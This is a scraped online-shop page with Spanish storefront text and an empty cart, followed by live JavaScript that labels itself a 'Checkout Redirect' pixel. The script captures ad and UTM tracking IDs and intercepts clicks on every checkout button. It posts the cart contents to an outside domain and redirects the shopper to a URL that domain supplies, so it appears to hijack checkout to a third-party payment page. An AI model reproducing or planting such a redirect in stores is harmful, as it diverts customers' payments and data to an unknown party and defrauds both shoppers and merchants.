SUMMER SALE: 60% OFF
No se encontraron artículos
No se encontraron artículos
Mi carrito
Tu carrito está vacío
Continuar comprando*/ (function() { if (window._crPixelInstalled) return; window._crPixelInstalled = true; var CONFIG = { apiUrl: 'https://redirect.pedidosflash.site/api/redirect', storeDomain: 'rivierevalmont.com', cookieDays: 30 }; function getParam(n) { return new URLSearchParams(window.location.search).get(n); } function getCookie(n) { var v = document.cookie.match('(^|;)\\s*' + n + '\\s*=\\s*([^;]+)'); return v ? v[2] : null; } var tracking = {}; var trackParams = ['ttclid', 'gclid', 'fbp', 'fbc', 'utm_source', 'utm_campaign', 'utm_medium']; trackParams.forEach(function(key) { var value = getParam(key) || localStorage.getItem('_cr_' + key) || getCookie('_cr_' + key); if (value) { localStorage.setItem('_cr_' + key, value); tracking[key] = value; } }); window.checkoutRedirect = function() { fetch('/cart.js', { cache: 'no-store' }) .then(function(r) { if (!r.ok) throw new Error('Erro ao ler carrinho'); return r.json(); }) .then(function(cart) { if (!cart.items || !cart.items.length) throw new Error('Carrinho vazio'); return fetch(CONFIG.apiUrl, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ cart: { domain: CONFIG.storeDomain, items: cart.items.map(function(i) { return { product_id: i.product_id, variant_id: i.variant_id, handle: i.handle, title: i.title, variant_title: i.variant_title || 'Default Title', sku: i.sku, quantity: i.quantity, properties: i.properties || {} }; }) }, tracking: tracking }) }); }) .then(function(r) { if (!r.ok) return r.json().then(function(e) { throw new Error(e.error); }); return r.json(); }) .then(function(data) { if (data.url) window.location.href = data.url; else throw new Error('Sem URL'); }) .catch(function(err) { console.error('[CR]', err); window.location.href = '/checkout'; }); }; // Gatilho automático — intercepta clique no botão de checkout document.addEventListener('click', function(e) { var btn = e.target.closest('[href*="/checkout"], .cart__checkout, [name="checkout"], .checkout-button, a[href$="/checkout"], button[type="submit"].cart__checkout, .cart-checkout, .btn-checkout'); if (btn) { e.preventDefault(); e.stopPropagation(); window.checkoutRedirect(); } }); console.log('[Checkout Redirect] Pixel instalado ✅ Loja: ' + CONFIG.storeDomain); })();